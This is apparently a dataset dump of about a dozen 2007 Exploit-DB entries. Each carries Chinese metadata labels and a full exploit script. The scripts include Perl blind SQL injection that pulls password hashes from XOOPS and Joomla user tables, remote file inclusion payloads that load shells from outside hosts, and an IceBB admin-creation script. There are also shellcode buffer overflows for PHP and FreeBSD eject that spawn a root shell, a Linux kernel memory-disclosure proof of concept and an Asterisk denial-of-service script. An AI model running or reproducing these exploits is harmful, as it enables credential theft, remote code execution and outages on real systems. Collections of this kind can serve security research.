QLWD/code_shield huggingface dataset:
标题: XOOPS module Articles 1.02 - 'print.php?id' SQL Injection EDB-ID: 3588 CVE: 2007-3311 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-27 漏洞利用脚本: #!/usr/bin/perl -w

# Xoops All Version -Articles- Print.PHP (ID) Blind SQL Injection Exploit And PoC

# Type :

# SQL Injection

# Release Date :

# {2007-03-26}

# Product / Vendor :

# http://support.sirium.net/

# Bug :

# http://localhost/script/modules/articles/print.php?id=x AND 1=1 or 1=0

# PoC :

# http://localhost/script/modules/articles/print.php?id=3/**/UNION/**/SELECT/**/NULL,NULL,NULL,NULL,uid,uname,pass,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL/**/FROM/**/xoops_users/**/LIMIT/**/1,1/*

# Exploit :

#############################################
#Exploit Coded By UNIQUE-KEY[UNIQUE-CRACKER]#
#############################################

use IO::Socket;

if (@ARGV != 3)
{
    print "\n-----------------------------------\n";
    print "Xoops All Version -Articles- Print.PHP (ID) Blind SQL Injection Exploit\n";
    print "-----------------------------------\n";
    print "\nUniquE-Key{UniquE-Cracker}\n";
    print "UniquE[at]UniquE-Key.ORG\n";
    print "http://UniquE-Key.ORG\n";
    print "\n-----------------------------------\n";
    print "\nUsage: $0 <server> <path> <uid>\n";
    print "Examp: $0 www.victim.com /path 1\n";
    print "\n-----------------------------------\n";
    exit ();
}

$server = $ARGV[0];
$path = $ARGV[1];
$uid = $ARGV[2];

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server",  PeerPort => "80");
printf $socket ("GET %s/modules/articles/print.php?id=3/**/UNION/**/SELECT/**/NULL,NULL,NULL,NULL,NULL,pass,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL/**/FROM/**/xoops_users/**/WHERE/**/uid=$uid/* HTTP/1.0\nHost: %s\nAccept: */*\nConnection: close\n\n",
$path,$server,$uid);

while(<$socket>)

{
    if (/\>(\w{32})\</) { print "\nID '$uid' User Password :\n\n$1\n"; }
}

# Tested :

# All Version

# Author :

# UniquE-Key{UniquE-Cracker}
# UniquE(at)UniquE-Key.Org
# http://www.UniquE-Key.Org

# milw0rm.com [2007-03-27] URL: https://www.exploit-db.com/exploits/3588
标题: PHP-Nuke Module Eve-Nuke 0.1 - 'mysql.php' Remote File Inclusion EDB-ID: 3591 CVE: 2007-1778 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-27 漏洞利用脚本: #===========================================================================================
#Eve-NukePortal file include (phpbb_root_path)
#===========================================================================================
#
#Script name :Eve-Nuke Portal
#
#Download script : http://puzzle.dl.sourceforge.net/sourceforge/eve-nuke/en-forums-beta.zip
#
#===========================================================================================
#Vulnerable Code :
#
#require($phpbb_root_path . 'includes/functions_nuke.'.$phpEx);
#
#===========================================================================================
#Exploit :
#
#http://www.site.com/modules/EN-Forums/db/mysql.php?phpbb_root_path=http://www.site.com/shell.txt?
#
#===========================================================================================
#
#Discoverd By : ThE TiGeR
#
#Contact : miro_tiger100[at]hotmail[dot]com
#
#===========================================================================================

# milw0rm.com [2007-03-27] URL: https://www.exploit-db.com/exploits/3591
标题: PHP 4.4.5/4.4.6 - 'session_decode()' Double-Free (PoC) EDB-ID: 3586 CVE: 2007-1711 类型: DOS 平台: LINUX 发布日期: 2007-03-27 漏洞利用脚本: <?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //     PHP 4.4.5/4.4.6 session_decode() Double Free Vulnerability     //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");

  ini_set("session.serialize_handler", "php");
  session_start();

  $varname = str_repeat("D", 39);
  $$varname = &$_SESSION;

  // Trigger the double free
  
  session_decode($varname.'|i:0;');
  $_________________x = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJ";
  $_________________a = array("OneElement");

  // Now x and a point to the same memory. Therefore x can be used to modify a

  // Overwrite pointer to the destructor  
  $_________________x[8*4+0] = chr(0x55);
  $_________________x[8*4+1] = chr(0x66);
  $_________________x[8*4+2] = chr(0x77);
  $_________________x[8*4+3] = chr(0x88);
  
  // Trigger the destruction
  unset($_________________a);
?>

# milw0rm.com [2007-03-27] URL: https://www.exploit-db.com/exploits/3586
标题: Linux Kernel 2.6.20 with DCCP Support - Memory Disclosure (1) EDB-ID: 3587 CVE: 2007-1734 2007-1730 类型: LOCAL 平台: LINUX 发布日期: 2007-03-27 漏洞利用脚本: /*
Linux Kernel DCCP Memory Disclosure Vulnerability

Synopsis:

 The Linux kernel is susceptible to a locally exploitable flaw
 which may allow local users to steal data from the kernel memory.

Vulnerable Systems:

 Linux Kernel Versions: >= 2.6.20 with DCCP support enabled.
 Kernel versions <2.6.20 lack
 DCCP_SOCKOPT_SEND_CSCOV/DCCP_SOCKOPT_RECV_CSCOV optnames for
 getsockopt() call with SOL_DCCP level, which are used in the
 delivered POC code.

Author:

 Robert Swiecki
 http://www.swiecki.net
 robert@swiecki.net

Details:

 The flaw exists in do_dccp_getsockopt() function in
 net/dccp/proto.c file.

-----------------------
static int do_dccp_getsockopt(struct sock *sk, int level, int optname,
                   char __user *optval, int __user *optlen)
...
if (get_user(len, optlen))
 return -EFAULT;
if (len < sizeof(int))
  return -EINVAL;
...
-----------------------

 The above code doesn't check `len' variable for negative values.
 Because of cast typing (len < sizeof(int)) is always true for
 `len' values less than 0.

 After that copy_to_user() procedure is called:

-----------------------
if (put_user(len, optlen) || copy_to_user(optval, &val, len))
   return -EFAULT;
-----------------------

 What happens next depends greatly on the cpu architecture in-use -
 each cpu architecture has its own copy_to_user() implementation. On
 the IA-32 the code below ...

-----------------------
unsigned long
copy_to_user(void __user *to, const void *from, unsigned long n)
{
       BUG_ON((long) n < 0);
-----------------------

 ... will prevent explotation, but kernel will oops due to
 invalid opcode in BUG_ON().

 On some other architectures (e.g. x86-64) kernel-space data will
 be copied to the user supplied buffer until end-of-kernel space
 (pagefault in kernel-mode occurs) is reached.

POC:

----------------------- */

#include <netinet/in.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <net/if.h>
#include <sys/mman.h>
#include <linux/net.h>

#define BUFSIZE 0x10000000

int main(int argc, char *argv[])
{
       void *mem = mmap(0, BUFSIZE, PROT_READ | PROT_WRITE,
                        MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
       if (!mem) {
               printf("Cannot allocate mem\n");
               return 1;
       }
       /* SOCK_DCCP, IPPROTO_DCCP */
       int s = socket(PF_INET, 6, 33);
       if (s == -1) {
               fprintf(stderr, "socket failure!\n");
               return 1;
       }
       int len = -1;
       /* SOL_DCCP, DCCP_SOCKOPT_SEND_CSCOV */
       int x = getsockopt(s, 269, 11, mem, &len);

       if (x == -1)
               perror("SETSOCKOPT");
       else
               printf("SUCCESS\n");

       write(1, mem, BUFSIZE);

       return 0;
}

//-----------------------
//make poc; ./poc | strings
//-----------------------

// milw0rm.com [2007-03-27] URL: https://www.exploit-db.com/exploits/3587
标题: Web Content System 2.7.1 - Remote File Inclusion EDB-ID: 3592 CVE: 2007-1771 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-27 漏洞利用脚本: <html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>Web Content System <<< v2.7.1 Remote File Include Exploit</title>

<script language="JavaScript">

//'===============================================================================================
//'[Script Name    : Web Content System <<< v2.7.1 Remote File Include Exploit Remote File Include Exploit
//'[Coded by       : KEZZAP66345
//'[Author         : KEZZAP66345
//'[Contact        : kezzap66345@hotmail.com
//'[Dork           : :(
//'[download.Page  : http://aysad.net/download/?id=AySystemWCS27stable
//'[S.Page         : http://aysad.net/
//'===============================================================================================

//'[[ERROR]]]------------------------------------------------------
//'....
//'..
//'<?
//'
//'<?include($path["JavascriptEdit"]);?>
//'
//'?>
//'....
//'..
//'[[ERROR]]]---------------------------------------------------------

//# kezzap66345.Turkey
//# ...



     //Basic exploit,but any time : (
   var path="/manage/javascript/"
   var adres="/formjavascript.php?" //dosya ad.
   var acik ="path[JavascriptEdit]=" // remote file include ;)
   var shell="http://freewebs.com/kezzap66345/1.php?" // Shell Script

   function command(){
       if (document.rfi.target1.value==""){
          alert("Failed..");
      return false;
    }



  rfi.action= document.rfi.target1.value+path+adres+acik+shell; //
  rfi.submit(); // Form Submit
   }
</script>

</head>

<body bgcolor="#000000">
<center>

<p><b><font face="Verdana" size="2" color="white">Web Content System v2.7.1 Remote File Include Exploit</font></b></p>

<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
    <b><font face="Arial" size="2" color="#FF0000">Target:</font><font face="Arial" size="1" color="blue">[http://[target]/[scriptpath]</font><font color="RED" size="3" face="Arial">
  </font><font color="#FF0000" size="2">&nbsp;</font></b>
  <input type="text" name="target1" size="20" style="background-color: #808000" onmouseover="javascript:this.style.background='#808080';" onmouseout="javascript:this.style.background='#808000';"></p>
  <p><input type="submit" value="Sorgula" name="B1"><input type="reset" value="Temizle" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe>
</p>

<b><font face="Verdana" size="2" color="#008000">KEZZAP66345</font></b></p>
</center>
</body>
</html>

# milw0rm.com [2007-03-27] URL: https://www.exploit-db.com/exploits/3592
标题: IceBB 1.0-rc5 - Remote Create Admin EDB-ID: 3580 CVE: 2007-1725 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-26 漏洞利用脚本: #!/usr/bin/perl
#  IceBB 1.0-rc5 Remote Create Admin Exploit
#  1. register a user
#  2. run this exploit with this usage : $perl xpl.pl [host&path] [uname] [pass]
#  3. login with admin access :)
# - magic_quotes_gpc = Off
#
#### Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net

use LWP::UserAgent;
use HTTP::Cookies;

$port = "80";
 $host = $ARGV[0];
 $uname = $ARGV[1];
 $passwd = $ARGV[2];
 $url = "http://".$host;

 print q(
 ###########################################################
 #        IceBB 1.0-rc5 Remote Create Admin Exploit        #
 #                    www.Hessamx.Net                      #
 ################# (C)oded By Hessam-x #####################

);


 if (@ARGV < 3) {
 print " #  usage : xpl.pl [host&path] [uname] [pass]\n";
 print " #  e.g : xpl.pl www.milw0rm.com/icebb/ str0ke 123456\n";
 exit();
 }

   print " [~] User/Password : $uname/$passwd \n";
   print " [~] Host : $host \n";

 $xpl = LWP::UserAgent->new() or die;
 $cookie_jar = HTTP::Cookies->new();

 $xpl->cookie_jar( $cookie_jar );


$login = $xpl->post($url.'index.php',
Content => [
 'act' => 'login',
'from' => 'index.php',
'user' => $uname,
'pass' => $passwd,
'func' => 'Login',
],);

 if($cookie_jar->as_string =~ /icebb_sessid=(.*?);/) {
       $cookie = $1;
   print " [~] Logined ...\n";
 } else {
 print " [-] Can not Login In $host !\n";
 exit();
 }

 $badcode = "', user_group='1";
 $avat = $xpl->post($url.'index.php',Content_Type => 'form-data',
 Content => [
 'avtype'  => 'upload',
 'act' => 'ucp',
 'func' => 'avatar',
 'file'   => [
              undef,
              'avatar.jpg'.$badcode,
              Content_type => 'text/plain',
              Content => 'MYAVATAR',
             ],
 'submit'        => 'Save',
 ],
 );
 $test = $xpl->get($url.'index.php');
if($test->as_string =~ /Admin Control Center/) {
print " [+] You Are admin Now ! \n";
} else {
print " [-] Exploit Failed ! \n";
}
print "\n #################################################### \n";

# milw0rm.com [2007-03-26] URL: https://www.exploit-db.com/exploits/3580
标题: PHP 5.2.1 with PECL PHPDOC - Local Buffer Overflow EDB-ID: 3576 CVE: 2007-1709 类型: LOCAL 平台: WINDOWS 发布日期: 2007-03-25 漏洞利用脚本: <?php
//PHP 5.2.1 with PECL phpDOC confirm_phpdoc_compiled() local buffer overflow poc exploit
//WIN 2K SP3 version / seh overwrite method
//to be launched from the cli

// by rgod
// site: http://retrogod.altervista.org

if (!extension_loaded("phpDOC")){
die("you need the phpDOC extension loaded.");
}


$____scode=
"\xeb\x1b".
"\x5b".
"\x31\xc0".
"\x50".
"\x31\xc0".
"\x88\x43\x59".
"\x53".
"\xbb\xca\x73\xe9\x77". //WinExec
"\xff\xd3".
"\x31\xc0".
"\x50".
"\xbb\x5c\xcf\xe9\x77". //ExitProcess
"\xff\xd3".
"\xe8\xe0\xff\xff\xff".
"\x63\x6d\x64".
"\x2e".
"\x65".
"\x78\x65".
"\x20\x2f".
"\x63\x20".
"start notepad & ";

//eip & ecx set to the same value ...
$eip="\x47\x30\xE9\x77";//0x77E93047      pop ECX - pop - retbis kernel32.dll
//and further (junk...) inc edi, xor cl ch, *ja short* 
//should work on sp4 if you find an usable address
$____suntzu=str_repeat("\x90",1393 - strlen($____scode)).$____scode.str_repeat("\x90",30).$eip.str_repeat("\x90",12);
confirm_phpdoc_compiled($____suntzu);

?>

# milw0rm.com [2007-03-25] URL: https://www.exploit-db.com/exploits/3576
标题: FreeBSD mcweject 0.9 'Eject' - Local Buffer Overflow / Local Privilege Escalation EDB-ID: 3578 CVE: 2007-1719 类型: LOCAL 平台: BSD 发布日期: 2007-03-26 漏洞利用脚本: // ejecsploit.c - local root exploit for bsd's eject.c
// harry
// vuln found by kokanin (you 31337!!! ;))
// thanks to sacrine and all the other netric guys!!! you rule :)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define LEN 1264
#define NOP 0x90

extern char** environ;

int main(){

  char buf[LEN];
  char* ptr;
  char* arg[4];
  unsigned int ret, i;
  char shellcode[]="\xeb\x17\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"
                   "\x43\x0c\x50\x8d\x53\x08\x52\x53\xb0\x3b\x50\xcd"
                   "\x80\xe8\xe4\xff\xff\xff/bin/sh";
  // hardcoded... too boneidle to fix this
  ret = 0xbfbfee16;
  char envshell[4096];
  ptr = envshell;
  for (i = 0; i < 4096 - strlen(shellcode) - 1; i++) *(ptr++) = NOP;
  for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];
  *(ptr) = 0x0;
  memcpy (envshell, "BLEH=",5);
  putenv(envshell);

  memset (buf, 0x41, sizeof(buf));
  buf[LEN-5] = (char) ( 0x000000ff & ret);
  buf[LEN-4] = (char) ((0x0000ff00 & ret) >> 8);
  buf[LEN-3] = (char) ((0x00ff0000 & ret) >> 16);
  buf[LEN-2] = (char) ((0xff000000 & ret) >> 24);
  buf[LEN-1] = 0x0;

  arg[0] = "/usr/local/sbin/eject";
  arg[1] = "-t";
  arg[2] = buf;
  arg[3] = NULL;

  execve (arg[0], arg, environ);

  return 0;
}

// milw0rm.com [2007-03-26] URL: https://www.exploit-db.com/exploits/3578
标题: PHP < 4.4.5/5.2.1 - '_SESSION unset()' Local Overflow EDB-ID: 3571 CVE: 2007-1700 类型: LOCAL 平台: LINUX 发布日期: 2007-03-25 漏洞利用脚本: <?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //                 PHP _SESSION unset() Vulnerability                 //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");

  $PHP_MAJOR_VERSION = PHP_VERSION;
  $PHP_MAJOR_VERSION = $PHP_MAJOR_VERSION[0];

  $shellcode = str_repeat("\x90", 256).
      "\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x46".
      "\x32\x3c\xe5\x83\xeb\xfc\xe2\xf4\x77\xe9\x6f\xa6\x15\x58\x3e\x8f".
      "\x20\x6a\xa5\x6c\xa7\xff\xbc\x73\x05\x60\x5a\x8d\x57\x6e\x5a\xb6".
      "\xcf\xd3\x56\x83\x1e\x62\x6d\xb3\xcf\xd3\xf1\x65\xf6\x54\xed\x06".
      "\x8b\xb2\x6e\xb7\x10\x71\xb5\x04\xf6\x54\xf1\x65\xd5\x58\x3e\xbc".
      "\xf6\x0d\xf1\x65\x0f\x4b\xc5\x55\x4d\x60\x54\xca\x69\x41\x54\x8d".
      "\x69\x50\x55\x8b\xcf\xd1\x6e\xb6\xcf\xd3\xf1\x65".
      ($PHP_MAJOR_VERSION==4?"\x18\xb0\x53":"\x18\xb0\x83");

  $zend_execute_internal = 0x08345b08;

  $Hashtable = pack("LLLLLLLLLCCC", 2, 1, 0, 0, 0, $zend_execute_internal, 0, $zend_execute_internal, 0x66666666, 0, 0, 0);

  eval('
  session_start();
  unset($HTTP_SESSION_VARS);
  unset($_SESSION);
  $x = "'.$Hashtable.'";
  session_register($shellcode);');
?>

# milw0rm.com [2007-03-25] URL: https://www.exploit-db.com/exploits/3571
标题: Net-Side.net CMS - 'index.php?cms' Remote File Inclusion EDB-ID: 3562 CVE: 2007-1707 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-24 漏洞利用脚本: I see your future and your future is death. Sharingan !
--------------------------------------------------------------------------------------------------------------
Hi I'm sharingan and this is my vuln :
script name :
Net Side Content Management System
(2 versions found both vulnerable | Version names not available since the script isn't downloadable)

vuln file :
index.php |and maybe others ... haven't checked|
vuln code version 1:
[...]
    if ($_GET["cms"] == "" or $_GET["cms"] == "titel")
   {
    include "titel.inc.php";
   }
   else
   {
    include $_GET["cms"].".inc.php";
[...]
vuln code version 2:
[...]
$includepath = "";
[...]
if ($_GET["cms"] == "")
   {
     include $includepath."titel.inc.php";
   }
   else
   {
    include $includepath.$_GET["cms"].".inc.php";
[...]

proof of concept :
http://site.com/index.php?cms=http://whatever.com/textshell.txt?
"powered by Net-Side.net"
--------------------------------------------------------------------------------------------------------------
greetz mozi and all php freaks.
oh yeah and a friendly Hi! to RST.

# milw0rm.com [2007-03-24] URL: https://www.exploit-db.com/exploits/3562
标题: Joomla! Component RWCards 2.4.3 - SQL Injection EDB-ID: 3565 CVE: 2007-1703 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-24 漏洞利用脚本: #!/usr/bin/perl
#[Script Name: Joomla Component RWCards <= 2.4.3 Remote Blind SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Dork       : "index.php?option=com_rwcards"
#[Contact    : :(
#[S.Page     : http://www.weberr.de
#[$$         : Free
#[..         : ajann,Turkey

use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//  Joomla Component RWCards <= 2.4.3 Remote Blind SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/index.php?option=com_rwcards&task=listCards&category_id=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }


$target = "-1'union%20select%201,2,03,4,concat(char(117,115,101,114,110,97,109,101,58),username,char(112,97,115,115,119,111,114,100,58),password),50,044,076,0678,07%20from%20jos_users/*";
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /username:(.*?)pass/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /password:(.*?)\">/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2007-03-24] URL: https://www.exploit-db.com/exploits/3565
标题: Free Image Hosting 2.0 - 'AD_BODY_TEMP' Remote File Inclusion EDB-ID: 3568 CVE: 2007-1715 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-25 漏洞利用脚本: ############################################################################################
Baslik  :Image_Upload Script  Remote File Inclusion Exploit
         Free Image Hosting 2.0

.ndir   : http://free-php-scripts.net/scripts/Image_Upload.zip

Bulan   :Crackers_Child

Zay.flk : <td><div align="center"><?php include($AD_BODY_TEMP);?></div></td>

Exploit : www.site.com/imageupload_path/login.php?AD_BODY_TEMP=Shell?

        : www.site.com/imageupload_path/frontpage.php?AD_BODY_TEMP=Shell?

        :www.site.com/imageupload_path/forgot_pass.php?AD_BODY_TEMP=Shell ?

Not     :[Olmek Var$a Kaderde Dert Ekleme Derdine ;) ]

Greetz  : EveryBody
############################################################################################ 

# milw0rm.com [2007-03-25] URL: https://www.exploit-db.com/exploits/3568
标题: Asterisk 1.2.16/1.4.1 - SIP INVITE Remote Denial of Service EDB-ID: 3566 CVE: 2007-1561 类型: DOS 平台: MULTIPLE 发布日期: 2007-03-25 漏洞利用脚本: #!/usr/bin/perl
# perl  asterisk-Invite.pl 192.168.1.104 5060 userX  192.168.1.2 5060 userY

use IO::Socket::INET;

die "Usage $0 <dst> <dport> <dusername> <src> <sport> <susername>" unless ($ARGV[5]);

 

$socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1],

        Proto=>'udp',

        PeerAddr=>$ARGV[0]);


$msg="INVITE sip:$ARGV[2]\@$ARGV[0]:$ARGV[1] SIP/2.0\r\nVia: SIP/2.0/UDP $ARGV[3]:$ARGV[4];branch=01;rport\r\nTo: <sip:$ARGV[2]\@$ARGV[0]:$ARGV[1]>\r\nFrom:  <sip:$ARGV[3]:$ARGV[4]>;tag=01\r\nCall-ID: 01\@$ARGV[3]\r\nContent-Type: application/sdp\r\nCSeq: 01 INVITE\r\nContent-Length: 187\r\n\r\nv=0\r\no=root 25903 25903 IN IP4 $ARGV[3]\r\ns=session\r\nc=IN IP4 $ARGV[3]\r\nc=IN IP4 910.188.8.2\r\nt=0 0\r\nm=audio 13956 RTP/AVP 0 4 3 8 111 5 10 7 18 110 97 101\r\na=rtpmap:98 speex/16000\r\n\r\n";

$socket->send($msg);

# milw0rm.com [2007-03-25] URL: https://www.exploit-db.com/exploits/3566